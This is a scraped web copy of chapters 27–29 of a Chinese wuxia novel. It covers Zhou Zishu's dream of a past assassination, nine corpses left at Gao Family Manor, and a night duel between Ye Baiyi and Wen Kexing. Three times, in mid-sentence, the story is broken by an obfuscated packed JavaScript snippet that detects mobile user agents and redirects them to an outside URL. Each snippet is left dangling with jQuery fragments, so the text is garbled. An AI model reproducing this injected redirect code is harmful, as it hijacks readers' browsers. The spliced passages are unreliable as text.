他说的“那天夜里”,自然是张家灭门的那夜。张成岭的呼吸急促起来,周子舒将声音放得更缓:“别急,仔细想想,恐怕很重要。” 张成岭脸色惨白,半晌,才摇摇头,带着哭腔道:“师父,你问我那天夜里不寻常的地方,可那天有寻常的地方么?” 周子舒皱起眉来,不再逼问他,只沉默了片刻,说道:“我教你一个口诀,你回去自己体悟,自行修炼,有不懂的地方,可以来问我。” 张成岭愣住。 周子舒又道:“最近最好不要离开赵大侠身边,不要单独行动,不要离开高家庄,听到了没有?” 张成岭睁大了眼睛:“师父……多谢师父!” 周子舒不自在地轻咳一声,斥道:“少废话,记清楚了,我只说一遍,若你记不住便算了,我不说第二遍。” 27. 第二十七章 屠杀 他知道自己是在做梦,可那梦境却那么真实,北风刮过他的面罩,感觉不到凉,他已经在那个地方等了很久很久,很平静,脉搏甚至比平时还要慢上一点,日头渐渐从人间走过,夜色将至。 周子舒看着这一切,早已习惯从中剥离出来,他知道如何不把自己当成一个人——一个有良心、有感情的人,这是一种出于本能的自我保护,只做事,不思量,才能不把自己逼疯。 他只是托起大庆中兴江山的那只沾满了血污的手。这盛世就如同一只华美宽大的袖子,他这只手时时刻刻隐藏在那袖子里,不轻易示人,等到这个时代的战乱、腐朽全都过去,所有人安居乐业,史册翻过新的一页…… 周子舒低下头,梦里的人一般面孔模糊,可他竟好像看见了那小女孩的面容一样——被她的奶娘抱着,女人像一只柔弱无助的羊羔,依然尽忠职守地护着那小孩子,却满脸绝望。 女孩扬起头,小声说道:“我爹爹是好人,我大哥哥是好人,我也是好人,我们都是好人,不要杀我们。” 他想起来了,这是先帝在世时,为了给二皇子党最后一击,天窗奉命刺杀罢官出京的蒋征蒋大人一家,蒋大人的小女儿蒋雪年方四岁,异常聪明伶俐。她如果有机会长大,又会变成什么样呢? 周子舒感到自己的手送了出去,女人尖利的惨叫划破了夜空,长剑刺穿她的胸口,然后穿过了那小女孩的身体。他并没有觉得恶心或者难过,因为在那个位子上,早已经习以为常。 你们是好人,是忠良,又怎么样呢?谁规定,好人就不能横死街头、断子绝孙呢? 然而空气中传来一声叹息,悠长悠长,有个人说,杀人偿命—— 周子舒的胸口尖锐地疼痛起来,猛地睁眼坐起来。 下一刻,他慢慢地弯下腰去,捂住胸口,死死地咬住牙,不让自己发出一声痛呼,惨白的手指攥住被子一角,发丝散乱,形容狼狈,在一阵又一阵忽如其来的撕心裂肺的疼痛里,茫然地想着,周子舒你这个混蛋王八蛋,你也就要死了。 这一宿,周子舒没有睡好,温客行没有睡好,连叶白衣也没有睡好。 温客行没有出房门,只是对着窗户静静地坐着,顾湘站在一边,这大字不识一箩筐,写个墓碑都要闹笑话的女孩子一张脸上满是肃穆,她望着窗外和往日没有什么不同的暗淡的夜空,沉默得像是一盏诡谲的美人灯。 窗子没关,凉风卷进来,掀起顾湘的衣角和长发,将小桌上的一本春宫图翻得稀里哗啦地响,温客行忽然极缓极缓地笑了,轻轻地说道:“我已经等了二十年啦。” 顾湘默不作声地看着他,只见这男人脸上带着某种说不出释然、甚至有几分疯狂的笑容,在没有光的地方有些不像人样,便敬畏起来。 温客行伸出一只手去,凭空抓了一把,像是要抓住那透入窗棂的风:“我要这世上,再没有什么东西能拦住我,管他是人是鬼,是仙是怪……我要所有这些魑魅魍魉、这些不该在人间的东西,全都滚回他们的十八层地狱去。” 他另一只手抓着一张纸,顾湘的目光落在那张泛黄的纸张上,那上面勾勒出一个鬼面,笔法不很是稚嫩,像是个孩子的涂鸦。温客行起身点燃烛火,将那张纸放上去,一点一点烧成灰烬。 表情如祭神一般虔诚。 叶白衣睡到半夜,也不知是为什么,忽然便从梦中惊醒,他那细眉细眼中,没有刚睡醒的人的迷茫,依旧平躺在床上,慢慢地抬起手,将脖子上挂的一个小挂坠掏出来,把玩着。仔细看的话,那小吊坠做得十分精巧,竟是缩小版的山河令。 叶白衣合上眼睛,自语道:“长青啊,我总有不详的预感,你说你怎么就不在了呢……” 他想着,这世上如果没有山河令,没有鬼谷,没有琉璃甲,没有天窗,会不会就太平很多呢? 第二日一早,迎接所有人的,除了晨曦,还有尸体。 九具尸体,就扔在高家庄不远的地方,围成一圈,中间以血在地上写了一个“鬼”字,足有两三丈的长宽,整整堵住了一条街,传说就在白日里处决那恶鬼的地方。 周子舒赶到的时候,尸体身份已经辨认得七七八八了。恶鬼众们非常公平,尽量做到了叫各大门派雨露均沾,八大门派加上一个高家,总共九具尸体,和尚道士尼姑,男女老少一应俱全。 高崇的一个徒弟也在其中,周子舒对他印象不深,只记得这人不如邓宽那么优秀扎眼,反而很是沉默寡言,只是帮着招待一些到来的宾客,跟谁也不多话。高小怜已经哭得晕了过去,高崇眼下却也顾不上他这掌上明珠了,只让邓宽在一边陪着她,自己跟在慈睦大师身边挨个检查尸体。 有一根丝吊死的,有血煞掌打死的,有被吸干血死的,有尸首分离的……每个人的死法竟然还都不同。 周子舒听旁边一个人轻叹了口气,说道:“青竹岭鬼谷倾巢而出了。” 他偏过头去,见说话的人正是叶白衣,周子舒讶然地发现,这吃货脸上竟然隐隐笼着一层说不清明的悲悯,让他整个人看起来就像是一尊瓷做的观音像。 周子舒下意识地问了一句:“什么?” 叶白衣瞟了他一眼,面无表情地说道:“你聋么?” 周子舒就转过脸去不讨没趣了,叶白衣却拍拍他的肩膀,丝毫不见外地说道:“晚上你出来一趟,跟我去一个地方。”那语气竟和前一天晚上周子舒招呼张成岭颇有异曲同工之妙。 周子舒决定自己在这姓叶的小子没学会说人话前,不理会他,可偏偏就情不自禁地点了点头。 点完以后他觉着后悔极了,简直恨不得把自己这惹事的脑袋拧下来,心里盘算着若是现在将这所谓的古僧后人杀人灭口,会不会好受点。 忽然人群里不知是谁,说了一句:“怎么遇害的只有这些人?按说聚在这里的,都是声讨鬼谷来的,恶鬼们昨日神不知鬼不觉地潜进来,大家都没有防备,可是怎么只挑了这几个门派的人杀?有知情的给个说法,这是鬼谷要在与整个江湖为敌么?他们不能这么傻吧,图什么呢?还是诸位有什么瞒着的事?” 高崇闻言站起来,整个人憔悴了一圈,看起来不怎么精神,脚步微微踉跄了一下,邓宽忙在一边扶了他一把,高崇推开他,摆摆手,缓缓地将目光放出去,从八大门派悲愤的脸上扫过,又望向那些各怀犹疑着窃窃私语的人。 目光像是有重量一样,将别人的声音都压了下去。 他们看着这个武林中近二十年来传奇一样的男人——他头发花白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450117|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,表情肃穆,缓缓地开了口,喃喃地说道:“这是血债。” 然后高崇低下头去,盯着那九具尸体看了许久,声音猛地拔高:“血债啊……我高家庄的血债,所有名门正派的血债,天下……天下所有有良心的人的血债!” 他似乎气息有些不稳,慈睦大师手中攥着念珠,“阿弥陀佛”了一声,闭上眼,口中念念有词,大概是在超度这些枉死的人。邓宽忧虑地看着他这年迈的师父,似乎又想去扶他一把,又觉得不大尊重,便忍住了。 高崇垂下眼,好一会,再抬起来时,已是老泪纵横,他指着高家庄死了的那个年轻人说道:“我这徒弟从小没爹没娘,投入我门下,便随了我的姓,姓高,叫做高辉。不爱说话,这帮孩子们欺负人家,还给他起了个外号,叫老闷……” 他似乎想笑一笑,没笑出来,高家庄的几个女弟子哭声简直止不住了。 高崇顿了顿,接着道:“我这小老闷是个好孩子,诸位中的不少,这些日子都见过他,蔫头巴脑,三脚踹不出一个屁来……可是真是个好孩子啊,任劳任怨,从来不跟人红脸。他家里还有个奶奶,不是亲的,小时候把他捡回来带大,现如今已经八十多岁了。老人家瞎了,也傻了,不怎么认得人,唯独看见高辉这孩子,还能有点反应……诸位,你说叫我怎么和她交代呢?诸位英雄好汉,你们都行行好,行行好,教我几句说辞,让我跟老人家交代交代吧!” 洞庭秋风萧瑟,洪波涌起,四下静谧得像是没有一个活人一般,高崇那么大的一个老爷子,站在中间,作揖着质问所有人——我该怎么和那老太太交代? 就连混蛋如封晓峰,都闭了嘴,说不出话来了。到了这份上,谁若是再多说一句用不着的,何止就不是人,简直是畜生都不如了。 泰山派新任掌门华青松第一个叫出来道:“这群鬼东西们一日不死,武林一日不得安生,我泰山派以后听凭高大侠差遣,绝没有二话!便是百死,也要为掌门报仇,为这些枉死的同道中人报仇!” 泰山掌门横死,眼下群龙无首,华青松才不过是个二十来岁的年轻人,十分年少冲动,他却不知,他这一开腔,其他人也便不好再保持沉默了,几大门派纷纷站出来,表达了立场。 当天下午,在高崇的主持下,给死了的几个人办了一场隆重无比的丧事,整个洞庭上空都飘着一股子阴沉沉的死气,前几日繁盛的车水马龙,忽如其来地便被压抑了下去,如临大敌。 高崇是个有本事的,原本各自为政的人们似乎忽然就一致对外起来。 当天晚上,周子舒送走了又偷偷跑来的张成岭,迎来了另外一个不速之客——叶白衣。此人大大咧咧的半夜连身夜行衣都不穿,艺高人胆大地在外面敲了敲窗户,便说道:“你,跟我来。” 周子舒白日杀人灭口的想法没来得及实现,此时后悔不及,只得跟着他出门了。 温客行的屋子就在他隔壁,早听见那边的动静,便皱皱眉,双臂抱在一起,脸色十分不好看。 顾湘倒挂在房梁上,原本闭着眼,此刻被他吵醒,于是打了个哈欠,含糊地问道:“主人,你一开始说周絮这个人来历神秘,深浅难测,怕他坏了你的事,这才跟了几日,怎么现在不怕他坏事了,还老盯着他?” 28. 第二十八章 古僧 温客行冷冰冰地瞥了她一眼,恶声恶语地说道:“什么时候轮得到你来管我的事了?” 他口气竟少见地十分恶劣,顾湘微微一愣,眼睛睁大了,一闪身从房梁上翻下来,她从小跟着温客行,知道这人纵然大事上说一不二,也不是容不得人开玩笑的,平日里顾湘与他没大没小地玩闹惯了,从不见他翻脸过,也不知这是怎么的了。 顾湘小心翼翼地打量着他,轻声道:“主人这是……” 温客行闭上嘴,好一会,才深深地吸了口气,可还是觉得心里烦闷得很,便轻轻地靠在窗户边上,叫那冷风吹着,不去看顾湘,只是无甚语气地说道:“照你的意思,天下女人我不感兴趣,男人在我眼里,便该是只有长得好、能上床的,和长相不好可杀的?我便不能有那么一两个能说说话的朋友?” 他本意并不是想威吓顾湘,可顾湘一时不明白他心里想的是什么,反而更胆战心惊了,只得讷讷地道:“是,奴婢说错话了。” 温客行才想说话,看了一眼顾湘懵懂的样子,便又把话给咽回去了,只觉得跟她说话也是鸡同鸭讲,没趣得很。那一刻温客行竟觉得有几分迟来的委屈,这些年,他们一个个见了他,不是怕,便是觉着他疯疯癫癫不可理喻,又几个能在夜色里,坐在篝火旁听他荒腔走板地唱支曲子,说几句只有自己明白的故事呢? 他忽然问道:“阿湘,你觉着我疯么?” 顾湘一怔,迟疑地看了他一眼,见他脸上淡淡的,并无愠色,才犹犹豫豫地点了点头,温客行扭过头去,嗤笑一声。 顾湘想了想,却又补充道:“你疯我也跟着你。” “你跟着个疯子做什么?” 顾湘搜肠刮肚地想了好半晌,她自小不愿意念书,也没人逼她学这些劳什子的东西,便乐得自由,如今只勉强认识几个字,这才发现人肚子里还有有点墨水的好,比如她好像有千言万语要说,却总不知该从何说起。 终于只剩下一句话,便脱口道:“疯子就疯子吧,我就是觉着,跟着你比跟着别人强。” 温客行看着她,半晌,轻轻地笑了。 顾湘被他那微许寂寞的笑容所激,竟不经大脑地又说出一句话来,道:“主人,我觉得其实……其实你是个好人。” 温客行便笑出声来,点头道:“好,你今夜放了一宿的屁,总算说出一句人话来。”言罢,他推开窗户,便要跳出去。 顾湘忙道:“主人去哪里?” 温客行摆摆手,说道:“我瞧那叶白衣是个小白脸,小白脸通常没有好心眼,怕姓周的傻小子吃亏,跟去看看。” 顾湘还没来得及答话,他人已经不见了踪迹。顾湘半晌才回过味来,明白“姓周的傻小子”指的是谁,脸色立刻颇为精彩,自语道:“我今日才知道什么叫做睁着眼说瞎话,傻小子……傻小子……嘿,那我一定是天字号第一傻丫头。” 可惜没人听见,不然一定会有人提醒她——虽然顾湘自以为这只是自嘲,不过其实说得还是很有道理的。 叶白衣半夜三更地把周子舒叫出来,也不说去干什么,只飞快地在夜色中穿行,那轻功简直已经到了风驰电掣的地步,周子舒惊悚地发现,若不是这人故意等着他,估计此刻已经被甩下了。 两人不知这样一前一后地跑出去多远,叶白衣定住脚步,负手身后,侧对着周子舒。周子舒不知他为什么忽然带自己来到这么一个没人的路口,可此时,心中忽然冒出一个猜测,便不远不近地站在离他两步远的地方,惊疑不定地打量着他。 叶白衣也不说明来意,任他打量——这人身形挺拔,按说身穿白衣的人,要么显得出尘飘逸,俊美无俦,要么显得轻佻浪荡,装腔作势,这是一种看起来便轻飘飘的颜色,便是穿在谁身上,也总显得少一分厚重,却偏被叶白衣“压”住了。 夜色中,他就像是一尊古佛——周子舒忽然无来由地觉得,此人的兵器应该是一把重剑,便是泰山崩于眼前,他也能巍然不动。 半晌,叶白衣才问道:“你瞧出什么来了?” 周子舒一怔,这会明白了他身上那股子违和感从何而来,便忍不住微微低下头去:“恕晚辈眼拙,这些日子多有不敬,请前辈见谅。” 叶白衣沉默了一会,忽然二话不说,出手如电,一掌直拍上周子舒左肩,那掌风竟是凌厉非常,说动手便动手,丝毫不留情。 周子舒一惊,平地拔起两丈多高,闪了开去,叶白衣随即追致,长袖翻出,竟将他周身大穴都封得死死的。 周子舒只道他武功路数应该是刚硬一类,自己内功受损一半,不好与他硬碰硬,才想仗着轻功卓绝同他绕圈子,这才发现,自己犯了个错误,对方一双手掌铺天盖地,好像无处不在一般,他半空中无处借力,情急之下只得抬腿踢向叶白衣手腕。 叶白衣丝毫不在乎,翻掌便去抓他的小腿,周子舒一旋身,仅仅借着他这一点掌风,整个人便似飞花落叶一般,硬生生地往旁边滑了两尺,落地时脸色已经变了,慢吞吞地沉声道:“前辈这是什么意思?” 叶白衣收回手,没事人一样打量了他半晌,这才问道:“那‘魅音秦松’,是当年一个顶不是东西的老头子的传人,因这娘娘腔的小子更不是东西,也不中用,故而被逐出师门,听说他别的不行,吹曲子,倒也得了几分真传,像那么回事,竟被你一个音吹破了几十年的修行,我还道如今江湖上哪里又出了个不得了的后生,原来是……小子,我问你,你的兵器,可是一柄软剑?” 周子舒猛地睁大了眼,往旁边轻轻移动了半步,手已经下意识地缩进袖子里,心里泛起许久未有的杀意——他还是头一次遇见这种情况,自己不知对方深浅,对方却好像对自己了如指掌。 叶白衣见了,嘴角往上弯起,露出一个僵硬又讽刺的笑容,嗤道:“我若要把你怎么样,你眼下还能站着说话么?你刚刚露的那手轻功,全天下独此一家,叫做‘无际无痕’。当年四季庄的秦怀章,是你的师父不是?哼,你们师徒两个这点倒是一样一样的,甭管遇见谁,都先以小人之心度之。” 周子舒冷冷地道:“古僧前辈固然是武林名宿,可家师早已仙逝,晚辈纵然不孝,也容不得别人这样折辱他。” 叶白衣一怔,失声道:“怎么,秦怀章死了?” 周子舒还未来得及说话,叶白衣的目光便忽然暗淡了下去,脸上竟露出些许茫然神色,低低地道:“是了,也不知多少年了……乃不知有汉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450118|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论魏晋,无论魏晋……山中无日月,原来世上已千年,连秦怀章都不在了。” 周子舒皱着眉打量了他一会,发现他并无恶意,只是仍不会说人话罢了,便也微微放松下来。 他心里认定了这人便是传说中的长明山古僧,虽然不知他为什么这么多年来,竟一直长生不老一般保持着青年模样,莫不是真如世人所说,已经羽化登仙? 叶白衣伸手道:“把你的剑给我瞧瞧。” 见周子舒不动,叶白衣便不耐烦道:“当我没见过么,那还是当年我给你师父的,又没人抢你的小玩意,看看都不行么?秦怀章的徒弟怎么这样不成器!” 周子舒这才想起,自己那剑上刻着“白衣”二字,一开始还以为是什么古怪的剑铭,谁知竟是这货的名字,登时脸色好看起来,心里十分呕得慌,于是不清不愿地将手伸进腰间,在腰带上鼓捣了一阵,手中便多了一柄极清极明的软剑,递给叶白衣。 叶白衣扫了一眼他那青黄枯瘦的手,一边皱着眉接过去,一边还挑刺道:“好好的人,非要再盖一层皮,人不人鬼不鬼的,我最看不上你们师徒两个这藏头露尾的模样。” 周子舒一边好汉不吃眼前亏地默然不语着,一边心道——这老不死的。 叶白衣将那软剑拿在手中,剑身充盈着他的内力,剑身便挺了起来,似有共鸣一般地微微颤动着,发出嗡嗡的声音,叶白衣那细长的眉眼中,蓦地闪过一丝怅然的怀念之意。他看着那名叫“白衣”的剑,心想,原来故人都已经不在了,这些东西反倒长命,都到了小辈人手里。 好一会,才交还给周子舒。 周子舒皮笑肉不笑地说道:“不知前辈深夜叫晚辈出来,除了试晚辈身手和师门之外,还有什么……” 他这一句话没说完,叶白衣忽然伸手贴上了他的胸口,那动作快得竟叫他来不及反应,若是那人趁机下手,他简直没有躲闪的余地,周子舒一僵,登时顿住了。 叶白衣却没有了其他的动作,只是微微皱起眉,周子舒便觉得一股子轻轻柔柔的内力,顺着他的手掌传过来,像是在他身上探查着什么一样。七窍三秋钉登时被他内里所激,发作起来,周子舒微微冒了冷汗,却仍是硬挺着,并没表露出来。 谁知这时,叶白衣忽然发力,那贴在周子舒胸口的内力竟恍如小溪化作江流一样,猛地冲入他已经枯死小半的筋脉,周子舒只觉那钉在他胸口的钉子像是被对方的内力搅翻了一样,登时眼前一黑,整个人晃了一下,便往后倒去。 身后却忽然闪出一个人影,轻叱一声:“你做什么?!”一边接住周子舒,随即一甩袖子便要将叶白衣的手打开,叶白衣“咦”了一声,不躲不闪,两人便硬撞了一下。叶白衣只觉得撞上一股子诡异浑厚的内力,心里微微一震,竟升起几分胸闷的感觉。 温客行却更是大惊,他甩出去的那一下几乎用了八成内力,竟似撞上了一道看不见的墙,生生地被挡了回来,他钳住周子舒的腰,往后退了半步,旋身侧身挡住周子舒,也借此稳住脚步。 这才去打量叶白衣,一双眼去了笑意,微微眯起来,他此时看人的目光,竟叫叶白衣想起了毒蛇——阴冷非常,胶着在人身上,如跗骨之蛆一般。 29. 第二十九章 恨晚 叶白衣轻轻地皱了一下眉,他那张脸倒比周子舒还像假的,好像已经僵硬了很久,无论做出多轻微的表情,都显得又费力又古怪,开口问道:“是你?你又是什么人?” 温客行冷笑,反问道:“你不先自报家门,倒问我是什么人?古僧便是这么教导弟子的么?” 周子舒借着温客行的力,好容易站稳了,闷声咳嗽几声,只觉得喉头火辣辣的,扭过脸去,竟反出一口血来。 温客行眼角瞧见,脸色撂了下来,沉声骂道:“周絮,你也是傻的么,都不知道他是谁,便站得跟个门板似的让他随便摸么?” 我还没摸过呢——他扫了一边站着的叶白衣一眼,又把这句话给咽下去了。 周子舒全身内息被叶白衣搅合得乱窜一通,他忙着压制着自己的真气,哪有空听温客行扯淡,便于百忙之中,半死不活地翻了个白眼给他。 叶白衣又问道:“你功夫很是不弱,是谁的弟子?和这小子什么关系?” 温客行这才感觉到他语气里奇怪的地方,叶白衣说话慢吞吞的,一个字一个字地往外蹦,像个老头子,可配上他那张脸和表情,便让人窝火的同时,又觉得有些诡异。 温客行本不是个不知深浅的人,方才也不过一时冲动,这会儿心里倒有些疑虑起来。 还不待他回答,周子舒便抬起袖子,将嘴角的血抹净,轻声问道:“古僧前辈这是什么意思?” 叶白衣坦然道:“看看你的伤还有救没救。”他顿了顿,又道,“我几时说过我是古僧的?你不要自作聪明。” 温客行早知道周子舒身上有内伤,于是也没诧异,只是听到后半句的时候愣了一下——周子舒猜他是古僧,叶白衣虽然否认了,但他提到“古僧”两个字,没有丝毫的敬意,倒像是一辈的人。 温客行忍不住又上上下下地在叶白衣那没有一丝皱纹的脸上扫了一圈,心里想道,这老东西是个什么怪胎? 叶白衣对周子舒道:“上梁不正下梁歪,我是知道姓秦的也教不出什么好人当徒弟,不过你若是不知道这个人的底细,我还是劝你少和他来往,他比你更不像好东西。” 温客行觉得这吃货简直和自己生来犯克,看见他就觉得心口堵得慌,便脱口道:“不知底细?老鬼,你没听说过什么叫做白首如新、倾盖如故么?倚老卖老就罢了,你管天管地,还要管拉屎放屁不成?” 叶白衣可不是个脾气好的,低斥一声:“小子找死。”便一掌拍过来。 周子舒自觉眼下内息紊乱,不适合掺和他们这不尊老不爱幼的街头斗殴中,于是十分识时务地往后倒退了几步,飞身上了墙头,盘腿坐下来,一边调息,一边瞧着这二人你来我往。 当所有人都为鬼谷和琉璃甲人心惶惶夜不能寐的时候,谁也不知道,在这没有人烟的小巷子里,上演了一场百年不遇的两大高手斗殴事件。叶白衣否认了自己是古僧,周子舒对他究竟是何许人也也弄不清楚,只觉得这人武功之高简直生平罕见,便真是古僧本人也不外乎如是了。 而温客行竟还能不露败像,周子舒仔细看了看,发现他的武功路子,和圣手温如玉并不相同——不,应该说,纵然温如玉也曾经是江湖名宿,但和他这儿子绝没有可比性。 那日温客行教给小少年张成岭的三招,都是化自温如玉的剑法,给人感觉都是平和中正,透着一股子坦荡气。 可眼下,周子舒只觉得这人一招一式都狠辣非常,他竟看不出是哪门哪派的功夫,实在是闻所未闻、见所未见,诡谲之处和顾湘有几分像,却比顾湘要高明出太多。反正绝不是袭承自他那侠侣父母中的任何一个……周子舒眼睛微微眯起,心中开始有了个隐隐的猜测。 同时,他又有些啼笑皆非,江湖中他说不出来历的,总共没有几个,竟然全在今天晚上聚齐了。 这时,周子舒忽然感到有水滴从天上掉下来,风好像更凉了些,几滴雨水落下后,雨丝忽然密集起来,一场夜雨,竟然就这样悄无声息地来了。 周子舒便将外袍裹紧了些,两条盘起来的长腿伸直了,自墙头吊下去,扬声对那两个掐成一团的人说道:“我说叶前辈,温兄,这都下雨了,怪冷的,咱们差不多散了吧?” ——那口气简直不像在围观一场两大绝顶高手的过招,倒像是在看猴戏。 叶白衣哼了一声,身体倏地往后拔了三丈远,落地时微微整理了一下自己有些乱的衣襟,他那飘移出尘的袖子被温客行撕了一角下去——周子舒觉着温客行因为自己那点不足为外人道也的爱好,便落下了这个特别爱撕别人袖子的毛病,简直恨不得全天下都是断袖。 温客行更狼狈些,他捂住胸口,往后退了一步,只觉着五脏似乎都被震荡了一番,吐出一口血沫子,方才被对方掌风扫到,肋下隐隐发疼,也不知肋骨兄还健全否。 叶白衣默然扫了温客行一眼,说道:“你已是强弩之末,方才若是不停,十招之内,我定能取你性命。” 温客行微弓着肩膀,站在那里,冷冷地看着叶白衣。 周子舒只得叹了口气,道:“叶前辈,你身为前辈高人,何必对小辈赶尽杀绝呢?”——赶紧回你那深山老林种花养鸟去吧,何苦想不开地大老远地跑来洞庭,当这搅屎棍子? 谁知这句话好像提醒了温客行一样,此人记吃不记打地继续嘴贱道:“你这老东西已是明日黄花,若你能活到那时候,十年之内,我定能取你性命。” 叶白衣像是听到了什么天大的笑话,闻言一愣,随即竟笑起来,他那张石头菩萨似的脸,微笑尚且惊心动魄,这一大笑,周子舒简直担心,那僵硬的五官会被他这过于剧烈的表情给掰断了。 只听叶白衣道:“取我性命?好,好——五十年了,还从没有人敢和我说过这种话,我便等着你来取我性命。” 他说完要走,却又好像想起了什么似的,回头若有所思地望向周子舒,沉默了半晌,说道:“你的伤,我没办法。” 周子舒神色不动,心里有些好笑,觉着这叶白衣说话的语气,实在太把自己当成个人物了,便说道:“前辈也未必无所不能,没人指望你有办法。” 叶白衣摇摇头,道:“你那经脉已经是枯死了,便如同老树打根里烂了,便是除去你身上带着的毒物,也无济于事,反而因为没了阻力,内力会把已经枯萎的经脉冲断,便真要去见阎王了。” 温客行整个人一震,难以置信地转过头去看着周子舒——那人依然吊着腿坐在墙头上,十分悠然自得,稀薄的雨水打在他身上,一头乌黑的发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450119|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝湿尽,像是泛着暗淡的幽光一样,若不是那日地穴中见过他出手,简直看不出,这是个带着伤的人。 周子舒朗声笑道:“那我岂不是必死无疑了?” 叶白衣坦诚地点点头。 周子舒看着他,忽然觉着这叶白衣大概真的是山中住得太久了,除了饭桶之外,还有点缺心眼,便叹道:“前辈,你何苦当着和尚骂秃驴呢?我又没得罪过你,就别再叫我一而再再而三地知道这事啦,又不是什么好消息。” 叶白衣默默地看了他一会,忽然一句话都没说,转身便走了。 周子舒本来怀疑他叫自己出来有别的事,可看这意思,多半是这老糊涂打了一架以后,已经把正事忘干净了。他也没去提醒,便从墙头上跳下来。 却见温客行仍用一种说不清道不明的目光看着他,便招呼他道:“你还傻站着干什么?受伤了还是……” 他剩下的话没了音,因为温客行忽然走过来,贴近他,用冰冷的手抚上他的脸。 雨水从温客行的脸上滑落,四下静谧得只有淅淅沥沥的水声。他面无表情,凌乱的头发搭在苍白的脸上,那眼珠乌黑,便叫周子舒想起初见时,他从酒楼上漫不经心地扫视而过的样子。 只听温客行道:“我小时候,我娘逼着我念书,我爹逼着我习武,我们住的那个村子里,所有的孩子都在外面偷鸡摸狗爬树上房,只有我一个在院里读书练剑,非得天都黑下来的时候,才能出去放松一会,每次我都是刚刚兴高采烈地加入游戏,别的孩子的爹娘便喊他们回去吃饭了。” 周子舒觉得这动作别扭得很,便想偏头躲开,可偏偏看见了温客行那种微许茫然的神色,雨水压在了他的睫毛上,他飞快地眨了一下眼,那雨水就顺着他的脸颊从下巴上淌下去,给人一种他流了眼泪一般的错觉。 “我那时候特别恨我爹娘,便和他们赌气,我爹跟我说,‘少壮不努力,老大徒伤悲’,等长大了再要用功便晚了。我想,等长大了再要偷鸟蛋打弹珠,可也晚了呀。” 温客行话音顿住,将“晚了”两个字含在嘴里,又重复了一遍,像是刻意咀嚼那种苦涩一样,然后勾过周子舒的脖子,抱住他,就像个身体发育过了头、心却还幼稚着的大孩子,满是委屈地抱住他。 周子舒叹了口气,“晚了”两个字的苦,他的一生中,又何尝不是品尝过太多次? 然后温客行放开他,问道:“你的伤是没得救?” 周子舒自嘲地笑了笑,摇摇头。 温客行沉默了片刻,又问道:“还……还有几年?” 周子舒算了算,说道:“就这两三年了。” 温客行便笑了起来,周子舒觉着他笑得模样有些不对头,便忍不住问道:“你怎么了?” 温客行摇摇头,往后退了一步,随后又往后退了一步,说道:“我这一辈子,想快快活活玩的时候,没能快活,等长大一点,想跟着爹娘习文学武了,又没有人教了,你说……岂不是十分不合时宜?幸好……” 他敛去笑容,转身便走,留下一头雾水不明所以的周子舒。 幸好,我还没到特别喜欢你—— 凉雨知秋,青梧老死,一宿苦寒欺薄衾,几番世道蹉跎……也不过一声“相见恨晚”。